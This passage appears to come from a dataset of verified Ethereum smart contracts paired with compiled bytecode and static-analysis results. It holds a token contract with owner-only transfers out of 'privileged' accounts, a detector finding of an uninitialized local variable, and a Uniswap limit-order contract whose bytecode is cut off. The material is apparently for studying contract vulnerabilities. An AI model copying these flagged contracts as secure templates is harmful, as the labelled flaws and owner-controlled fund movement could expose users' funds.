uint _value) public onlyOwner returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); previligedBalances[_to] = safeAdd(previligedBalances[_to], _value); Transfer(msg.sender, _to, _value); return true; } // get priveleged balance function getPrivilegedBalance(address _owner) public constant returns (uint balance) { return previligedBalances[_owner]; } // admin only can transfer from the privileged accounts function transferFromPrivileged(address _from, address _to, uint _value) public onlyOwner onlyNotSame(_from, _to) returns (bool success) { uint availablePrevilegedBalance = previligedBalances[_from]; balances[_from] = safeSub(balances[_from], _value); balances[_to] = safeAdd(balances[_to], _value); previligedBalances[_from] = safeSub(availablePrevilegedBalance, _value); Transfer(_from, _to, _value); return true; } /** * Create new tokens and allocate them to an address.. * * Only callably by a crowdsale contract (mint agent). */ function mint(address receiver, uint amount) onlyMintAgent canMint public { amount *= 10 ** uint(decimals); totalSupply = safeAdd(totalSupply, amount); balances[receiver] = safeAdd(balances[receiver], amount); // This will make the mint transaction apper in EtherScan.io // We can remove this after there is a standardized minting event Transfer(0, receiver, amount); } /** * Owner can allow a crowdsale contract to mint new tokens. */ function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; MintingAgentChanged(addr, state); } }
0x6060604052600436106101875763ffffffff60e060020a60003504166305d2035b811461018c57806306fdde03146101b3578063095ea7b31461023d57806318160ddd1461025f5780631a017f3f1461028457806323b872dd146102a6578063313ce567146102ce5780633ba8c9a7146102e157806340c10f19146102f657806342966c681461031857806342c1867b1461032e578063432146751461034d57806345977d03146103715780635d3171d9146103875780635de4ccb0146103af578063600440cb146103de57806370a08231146103f15780638444b391146104105780638c133a77146104475780638da5cb5b1461046657806395d89b41146104795780639738968c1461048c578063a9059cbb1461049f578063ab7e9dca146104c1578063ac3cb72c146104e0578063be45fd6214610502578063c752ff6214610567578063d7e7088a1461057a578063dd62ed3e14610599578063e2301d02146105be578063f2fde38b146105e0578063fccc2813146105ff578063ffeb7d7514610612575b600080fd5b341561019757600080fd5b61019f610631565b604051901515815260200160405180910390f35b34156101be57600080fd5b6101c6610652565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156102025780820151838201526020016101ea565b50505050905090810190601f16801561022f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561024857600080fd5b61019f600160a060020a03600435166024356106f0565b341561026a57600080fd5b610272610798565b60405190815260200160405180910390f35b341561028f57600080fd5b61019f600160a060020a036004351660243561079e565b34156102b157600080fd5b61019f600160a060020a036004358116906024351660443561088c565b34156102d957600080fd5b61027261097b565b34156102ec57600080fd5b6102f4610981565b005b341561030157600080fd5b6102f4600160a060020a03600435166024356109d3565b341561032357600080fd5b6102f4600435610aa1565b341561033957600080fd5b61019f600160a060020a0360043516610b37565b341561035857600080fd5b6102f4600160a060020a03600435166024351515610b4c565b341561037c57600080fd5b6102f4600435610c00565b341561039257600080fd5b61019f600160a060020a0360043581169060243516604435610d53565b34156103ba57600080fd5b6103c2610e69565b604051600160a060020a03909116815260200160405180910390f35b34156103e957600080fd5b6103c2610e78565b34156103fc57600080fd5b610272600160a060020a0360043516610e87565b341561041b57600080fd5b610423610ea2565b6040518082600481111561043357fe5b60ff16815260200191505060405180910390f35b341561045257600080fd5b610272600160a060020a0360043516610eec565b341561047157600080fd5b6103c2610efe565b341561048457600080fd5b6101c6610f0d565b341561049757600080fd5b61019f610f78565b34156104aa57600080fd5b61019f600160a060020a0360043516602435610f7d565b34156104cc57600080fd5b610272600160a060020a0360043516610faa565b34156104eb57600080fd5b61019f600160a060020a0360043516602435610fc5565b341561050d57600080fd5b61019f60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061107795505050505050565b341561057257600080fd5b6102726112b1565b341561058557600080fd5b6102f4600160a060020a03600435166112b7565b34156105a457600080fd5b610272600160a060020a036004358116906024351661144f565b34156105c957600080fd5b61019f600160a060020a036004351660243561147a565b34156105eb57600080fd5b6102f4600160a060020a036004351661155a565b341561060a57600080fd5b6103c26115b0565b341561061d57600080fd5b6102f4600160a060020a03600435166115b5565b60095474010000000000000000000000000000000000000000900460ff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106e85780601f106106bd576101008083540402835291602001916106e8565b820191906000526020600020905b8154815290600101906020018083116106cb57829003601f168201915b505050505081565b600081158015906107255750600160a060020a0333811660009081526002602090815260408083209387168352929052205415155b1561072f57600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b60095460009033600160a060020a039081169116146107bc57600080fd5b600160a060020a0333166000908152600160205260409020546107df9083611614565b600160a060020a03338116600090815260016020526040808220939093559085168152205461080e9083611628565b600160a060020a038416600090815260016020908152604080832093909355600a9052205461083d9083611628565b600160a060020a038085166000818152600a602052604090819020939093559133909116906000805160206116738339815191529085905190815260200160405180910390a350600192915050565b600160a060020a0380841660009081526002602090815260408083203385168452825280832054938616835260019091528120549091906108cd9084611628565b600160a060020a0380861660009081526001602052604080822093909355908716815220546108fc9084611614565b600160a060020a03861660009081526001602052604090205561091f8184611614565b600160a060020a03808716600081815260026020908152604080832033861684529091529081902093909355908616916000805160206116738339815191529086905190815260200160405180910390a3506001949350505050565b60085481565b60095433600160a060020a0390811691161461099c57600080fd5b6009805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b600160a060020a0333166000908152600b602052604090205460ff1615156109fa57600080fd5b60095474010000000000000000000000000000000000000000900460ff1615610a2257600080fd5b600854600a0a81029050610a3860005482611628565b6000908155600160a060020a038316815260016020526040902054610a5d9082611628565b600160a060020a0383166000818152600160205260408082209390935590916000805160206116738339815191529084905190815260200160405180910390a35050565b33600160a060020a038116600090815260016020526040902054610ac59083611614565b600160a060020a03821660009081526001602052604081209190915554610aec9083611614565b6000557f696de425f79f4a40bc6d2122ca50507f0efbeabbff86a84871b7196ab8ea8df78183604051600160a060020a03909216825260208201526040908101905180910390a15050565b600b6020526000908152604090205460ff1681565b60095433600160a060020a03908116911614610b6757600080fd5b60095474010000000000000000000000000000000000000000900460ff1615610b8f57600080fd5b600160a060020a0382166000908152600b602052604090819020805460ff19168315151790557f4b0adf6c802794c7dde28a08a4e07131abcff3bf9603cd71f14f90bec7865efa908390839051600160a060020a039092168252151560208201526040908101905180910390a15050565b6000610c0a610ea2565b90506003816004811115610c1a57fe5b1480610c3157506004816004811115610c2f57fe5b145b1515610c3c57600080fd5b811515610c4857600080fd5b600160a060020a033316600090815260016020526040902054610c6b9083611614565b600160a060020a03331660009081526001602052604081209190915554610c929083611614565b600055600554610ca29083611628565b600555600454600160a060020a031663753e88e5338460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b1515610cfb57600080fd5b5af11515610d0857600080fd5b5050600454600160a060020a03908116915033167f7e5c344a8141a805725cb476f76c6953b842222b967edd1f78ddb6e8b3f397ac8460405190815260200160405180910390a35050565b600954600090819033600160a060020a03908116911614610d7357600080fd5b848480600160a060020a031682600160a060020a03161415610d9457600080fd5b600160a060020a0387166000908152600a6020908152604080832054600190925290912054909350610dc69086611614565b600160a060020a038089166000908152600160205260408082209390935590881681522054610df59086611628565b600160a060020a038716600090815260016020526040902055610e188386611614565b600160a060020a038089166000818152600a60205260409081902093909355908816916000805160206116738339815191529088905190815260200160405180910390a35060019695505050505050565b600454600160a060020a031681565b600354600160a060020a031681565b600160a060020a031660009081526001602052604090205490565b6000610eac610f78565b1515610eba57506001610ee9565b600454600160a060020a03161515610ed457506002610ee9565b6005541515610ee557506003610ee9565b5060045b90565b600a6020526000908152604090205481565b600954600160a060020a031681565b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106e85780601f106106bd576101008083540402835291602001916106e8565b600190565b6000610f87611660565b604036604414610f9657600080fd5b610fa1858584611077565b95945050505050565b600160a060020a03166000908152600a602052604090205490565b600080604036604414610fd757600080fd5b600160a060020a0333811660009081526002602090815260408083209389168352929052205491506110098285611628565b600160a060020a033381166000818152600260209081526040808320948b168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a3506001949350505050565b600160a060020a03331660009081526001602052604081205461109a9084611614565b600160a060020a0333811660009081526001602052604080822093909355908616815220546110c99084611628565b600160a060020a038086166000818152600160205260409081902093909355859290913316907fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169086905160208082528190810183818151815260200191508051906020019080838360005b8381101561114d578082015183820152602001611135565b50505050905090810190601f16801561117a5780820380516001836020036101000a031916815260200191505b509250505060405180910390a483600160a060020a031633600160a060020a03166000805160206116738339815191528560405190815260200160405180910390a36111c58461164c565b156112a75783600160a060020a031663c0ee0b8a3385856040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611249578082015183820152602001611231565b50505050905090810190601f1680156112765780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561129657600080fd5b5af115156112a357600080fd5b5050505b5060019392505050565b60055481565b6112bf610f78565b15156112ca57600080fd5b600160a060020a03811615156112df57600080fd5b60035433600160a060020a039081169116146112fa57600080fd5b6004611304610ea2565b600481111561130f57fe5b141561131a57600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038381169190911791829055166361d3d7a66040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561137c57600080fd5b5af1151561138957600080fd5b50505060405180519050151561139e57600080fd5b600054600454600160a060020a0316634b2ba0dd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156113e057600080fd5b5af115156113ed57600080fd5b5050506040518051905014151561140357600080fd5b6004547f7845d5aa74cc410e35571258d954f23b82276e160fe8c188fa80566580f279cc90600160a060020a0316604051600160a060020a03909116815260200160405180910390a150565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60008060403660441461148c57600080fd5b600160a060020a033381166000908152600260209081526040808320938916835292905220549150818411156114e957600160a060020a0333811660009081526002602090815260408083209389168352929052908120556114f3565b6110098285611614565b600160a060020a033381166000818152600260209081526040808320948a168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a3506001949350505050565b60095433600160a060020a0390811691161461157557600080fd5b600160a060020a038116156115ad576009805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b600081565b600160a060020a03811615156115ca57600080fd5b60035433600160a060020a039081169116146115e557600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600061162283831115611654565b50900390565b60008282016116458482108015906116405750838210155b611654565b9392505050565b6000903b1190565b8015156115ad57600080fd5b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582022f18ec3e51adb6fe453c403f94d5ddfef576e752cc2a4d018ea96804becd1ef0029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
2,791
0x5db39ccf20dc74864059b38afd5b141243a99a2e
/** *Submitted for verification at Etherscan.io on 2020-04-29 */ pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IUniswapExchange { // Protocol Functions function tokenAddress() external view returns (address); function factoryAddress() external view returns (address); // ERC20 Functions (Keep track of liquidity providers) function totalSupply() external view returns (uint256); function balanceOf(address _owner) external view returns (uint256); function transfer(address _to, uint256 _value) external returns (bool); function transferFrom(address _from, address _to, uint256 _value) external returns (bool); function approve(address _spender, uint256 _value) external returns (bool); function allowance(address _owner, address _spender) external view returns (uint256); // Pricing functions function getEthToTokenInputPrice(uint256 eth_sold) external view returns (uint256); function getEthToTokenOutputPrice(uint256 tokens_bought) external view returns (uint256); function getTokenToEthInputPrice(uint256 tokens_sold) external view returns (uint256); function getTokenToEthOutputPrice(uint256 eth_bought) external view returns (uint256); // Add Liquidity function setup(address token_addr) external; function addLiquidity( uint256 min_liquidity, uint256 max_tokens, uint256 deadline ) external payable returns (uint256); function removeLiquidity(uint256 amount, uint256 min_eth, uint256 min_tokens, uint256 deadline) external returns (uint256); //Eth/Token Swap //Sell all ETH function ethToTokenSwapInput(uint256 min_tokens, uint256 deadline) external payable returns (uint256); function ethToTokenTransferInput( uint256 min_tokens, uint256 deadline, address recipient ) external payable returns (uint256); //Sell some ETH and get refund function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external payable returns (uint256); function ethToTokenTransferOutput( uint256 tokens_bought, uint256 deadline, address recipient ) external payable returns (uint256); //Token/Eth Swap //Sell all tokens function tokenToEthSwapInput( uint256 tokens_sold, uint256 min_eth, uint256 deadline ) external returns (uint256); function tokenToEthTransferInput( uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient ) external returns (uint256); //Sell some tokens and get refund function tokenToEthSwapOutput( uint256 eth_bought, uint256 max_tokens, uint256 deadline ) external returns (uint256); function tokenToEthTransferOutput( uint256 eth_bought, uint256 max_tokens, uint256 deadline, address recipient ) external returns (uint256); //Token/Token Swap function tokenToTokenSwapInput( uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address token_addr ) external returns (uint256); function tokenToTokenTransferInput( uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr ) external returns (uint256); function tokenToTokenSwapOutput( uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address token_addr ) external returns (uint256); function tokenToTokenTransferOutput( uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address token_addr ) external returns (uint256); //Token/Exchange Swap function tokenToExchangeSwapInput( uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address exchange_addr ) external returns (uint256); function tokenToExchangeTransferInput( uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address exchange_addr ) external returns (uint256); function tokenToExchangeSwapOutput( uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address exchange_addr ) external returns (uint256); function tokenToExchangeTransferOutput( uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address exchange_addr ) external returns (uint256); } contract UniswapOTC { address public owner; address public exchangeAddress; address public tokenAddress; uint256 public totalClients; address[] public clients; mapping (address => bool) public clientExists; mapping (address => uint256) public clientEthBalances; //Client ETH balance mapping (address => uint256) public clientMinTokens; //Client Limit Order mapping (address => uint256) public clientTokenBalances; //Client Token balance mapping (address => uint256) public clientTokenFees; //Total OTC Fees mapping (address => uint256) public purchaseTimestamp; //Withdrawal timestamp uint256 constant ONE_DAY_SECONDS = 86400; uint256 constant FIVE_MINUTE_SECONDS = 300; mapping(address => bool) public triggerAddresses; //Bot Trigger Addresses IERC20 token; IUniswapExchange exchange; //Min volume values uint256 public minEthLimit; //Min Volume uint256 public maxTokenPerEth; //Min Price constructor(address _exchangeAddress, uint256 _minEthLimit, uint256 _maxTokenPerEth) public { exchange = IUniswapExchange(_exchangeAddress); exchangeAddress = _exchangeAddress; tokenAddress = exchange.tokenAddress(); token = IERC20(tokenAddress); owner = msg.sender; minEthLimit = _minEthLimit; maxTokenPerEth = _maxTokenPerEth; totalClients = 0; } /** * @dev OTC Provider. Gives right to fee withdrawal. */ modifier onlyOwner() { require(msg.sender == owner, "Unauthorized"); _; } /** * @dev Authorized Purchase Trigger addresses for mempool bot. */ modifier onlyTrigger() { require(msg.sender == owner || triggerAddresses[msg.sender], "Unauthorized"); _; } /** * @dev Trigger Uniswap contract, drains client's ETH balance. * Computes fee as spread between execution price and limit price. */ function executeLimitOrder(address _client, uint256 deadline) public onlyTrigger returns (uint256, uint256) { //Avoids Uniswap Assert Failure when no liquidity (gas saving) require(token.balanceOf(exchangeAddress) > 0, "No liquidity on Uniswap!"); //27,055 Gas uint256 ethBalance = clientEthBalances[_client]; uint256 tokensBought = exchange.getEthToTokenInputPrice(ethBalance); uint256 minTokens = clientMinTokens[_client]; require(tokensBought >= minTokens, "Purchase amount below min tokens!"); //27,055 Gas uint256 spreadFee = tokensBought - minTokens; //Tokens bought, set balance 0 clientEthBalances[_client] = 0; //Reset state clientMinTokens[_client] = 0; //Reset state clientTokenBalances[_client] += minTokens; //Add to balance clientTokenFees[_client] += spreadFee; //Add to balance purchaseTimestamp[_client] = block.timestamp + ONE_DAY_SECONDS; //Call Uniswap contract exchange.ethToTokenSwapInput.value(ethBalance)( tokensBought, deadline ); return (minTokens, spreadFee); } /** * @dev Add Trigger address. */ function setTriggerAddress(address _address, bool _authorized) public onlyOwner { triggerAddresses[_address] = _authorized; } /** * @dev Get max limit price. */ function getMaxTokens(uint256 _etherAmount) public view returns (uint256) { return _etherAmount * maxTokenPerEth; } /** * @dev Fund contract and set limit price (in the form of min purchased tokens). * Excess value is refunded to sender in the case of a re-balancing. */ function setLimitOrder(uint256 _tokenAmount, uint256 _etherAmount) public payable { require(_etherAmount >= minEthLimit, "Insufficient ETH volume"); require(_tokenAmount <= maxTokenPerEth * _etherAmount, "Excessive token per ETH"); require(_etherAmount == clientEthBalances[msg.sender] + msg.value, "Balance must equal purchase eth amount."); if (!clientExists[msg.sender]) { clientExists[msg.sender] = true; clients.push(msg.sender); totalClients += 1; } //Increment client balance clientEthBalances[msg.sender] += msg.value; clientMinTokens[msg.sender] = _tokenAmount; } /** * @dev Return if purchase would be autherized at current prices */ function canPurchase(address _client) public view returns (bool) { //Avoids Uniswap Assert Failure when no liquidity (gas saving) if (token.balanceOf(exchangeAddress) == 0) { return false; } uint256 ethBalance = clientEthBalances[_client]; if (ethBalance == 0) { return false; } uint256 tokensBought = exchange.getEthToTokenInputPrice(ethBalance); uint256 minTokens = clientMinTokens[_client]; //Only minimum amount of tokens return tokensBought >= minTokens; } /** * @dev Withdraw OTC provider fee tokens. */ function withdrawFeeTokens(address _client) public onlyOwner { require(clientTokenFees[_client] > 0, "No fees!"); require(block.timestamp > purchaseTimestamp[_client], "Wait for client withdrawal."); uint256 sendFees = clientTokenFees[_client]; clientTokenFees[_client] = 0; token.transfer(msg.sender, sendFees); } /** * @dev Withdraw OTC client purchased tokens. */ function withdrawClientTokens() public { require(clientTokenBalances[msg.sender] > 0, "No tokens!"); uint256 sendTokens = clientTokenBalances[msg.sender]; clientTokenBalances[msg.sender] = 0; purchaseTimestamp[msg.sender] = block.timestamp + FIVE_MINUTE_SECONDS; //Unlock in 5minutes token.transfer(msg.sender, sendTokens); } /** * @dev Withdraw OTC client ether. */ function withdrawEther() public { require(clientEthBalances[msg.sender] > 0, "No ETH balance!"); uint256 sendEth = clientEthBalances[msg.sender]; clientEthBalances[msg.sender] = 0; payable(msg.sender).transfer(sendEth); } /** * @dev Get eth balance of contract. */ function contractEthBalance() public view returns (uint256) { return address(this).balance; } /** * @dev Get token balance of contract */ function contractTokenBalance() public view returns (uint256) { return token.balanceOf(address(this)); } }
0x60806040526004361061014b5760003560e01c80638da5cb5b116100b6578063d37ee6c01161006f578063d37ee6c01461068a578063e876f4af146106f3578063eab2e10114610758578063f288dc10146107bd578063f88af21d146107e8578063fbe158af146108635761014b565b80638da5cb5b1461048c5780639cd01605146104e35780639d76ea581461053a5780639e9aed6214610591578063c9b0da6a146105bc578063cdf864e8146106215761014b565b80635c02b71e116101085780635c02b71e146103225780635d58ce36146103715780637362377b1461039c57806376755118146103b3578063798053d11461041857806381cf28f51461042f5761014b565b806302dda028146101505780630bd16007146101c65780630e08b0e31461022b57806311aa4c81146102565780633e3b429a1461028157806344c07a9f146102ea575b600080fd5b34801561015c57600080fd5b506101a96004803603604081101561017357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108b4565b604051808381526020018281526020019250505060405180910390f35b3480156101d257600080fd5b50610215600480360360208110156101e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f10565b6040518082815260200191505060405180910390f35b34801561023757600080fd5b50610240610f28565b6040518082815260200191505060405180910390f35b34801561026257600080fd5b5061026b610f2e565b6040518082815260200191505060405180910390f35b34801561028d57600080fd5b506102d0600480360360208110156102a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f34565b604051808215151515815260200191505060405180910390f35b6103206004803603604081101561030057600080fd5b81019080803590602001909291908035906020019092919050505061119e565b005b34801561032e57600080fd5b5061035b6004803603602081101561034557600080fd5b81019080803590602001909291905050506114dc565b6040518082815260200191505060405180910390f35b34801561037d57600080fd5b506103866114ea565b6040518082815260200191505060405180910390f35b3480156103a857600080fd5b506103b16114f2565b005b3480156103bf57600080fd5b50610402600480360360208110156103d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061167a565b6040518082815260200191505060405180910390f35b34801561042457600080fd5b5061042d611692565b005b34801561043b57600080fd5b5061048a6004803603604081101561045257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611900565b005b34801561049857600080fd5b506104a1611a1d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104ef57600080fd5b506104f8611a42565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561054657600080fd5b5061054f611a68565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561059d57600080fd5b506105a6611a8e565b6040518082815260200191505060405180910390f35b3480156105c857600080fd5b5061060b600480360360208110156105df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b6f565b6040518082815260200191505060405180910390f35b34801561062d57600080fd5b506106706004803603602081101561064457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b87565b604051808215151515815260200191505060405180910390f35b34801561069657600080fd5b506106d9600480360360208110156106ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ba7565b604051808215151515815260200191505060405180910390f35b3480156106ff57600080fd5b506107426004803603602081101561071657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bc7565b6040518082815260200191505060405180910390f35b34801561076457600080fd5b506107a76004803603602081101561077b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bdf565b6040518082815260200191505060405180910390f35b3480156107c957600080fd5b506107d2611bf7565b6040518082815260200191505060405180910390f35b3480156107f457600080fd5b506108216004803603602081101561080b57600080fd5b8101908080359060200190929190505050611bfd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561086f57600080fd5b506108b26004803603602081101561088657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c39565b005b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061095b5750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6109cd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f556e617574686f72697a6564000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610a9057600080fd5b505afa158015610aa4573d6000803e3d6000fd5b505050506040513d6020811015610aba57600080fd5b810190808051906020019092919050505011610b3e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f206c6971756964697479206f6e20556e697377617021000000000000000081525060200191505060405180910390fd5b6000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cd7724c3836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015610bf757600080fd5b505afa158015610c0b573d6000803e3d6000fd5b505050506040513d6020811015610c2157600080fd5b810190808051906020019092919050505090506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080821015610cd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611ffe6021913960400191505060405180910390fd5b600081830390506000600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550620151804201600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f39b5b9b85858a6040518463ffffffff1660e01b815260040180838152602001828152602001925050506020604051808303818588803b158015610ec257600080fd5b505af1158015610ed6573d6000803e3d6000fd5b50505050506040513d6020811015610eed57600080fd5b810190808051906020019092919050505050818195509550505050509250929050565b60076020528060005260406000206000915090505481565b60035481565b600f5481565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610ff857600080fd5b505afa15801561100c573d6000803e3d6000fd5b505050506040513d602081101561102257600080fd5b810190808051906020019092919050505014156110425760009050611199565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811415611099576000915050611199565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cd7724c3836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b810190808051906020019092919050505090506000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508082101593505050505b919050565b600e54811015611216576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f496e73756666696369656e742045544820766f6c756d6500000000000000000081525060200191505060405180910390fd5b80600f5402821115611290576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f45786365737369766520746f6b656e207065722045544800000000000000000081525060200191505060405180910390fd5b34600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054018114611329576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180611fd76027913960400191505060405180910390fd5b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611447576001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502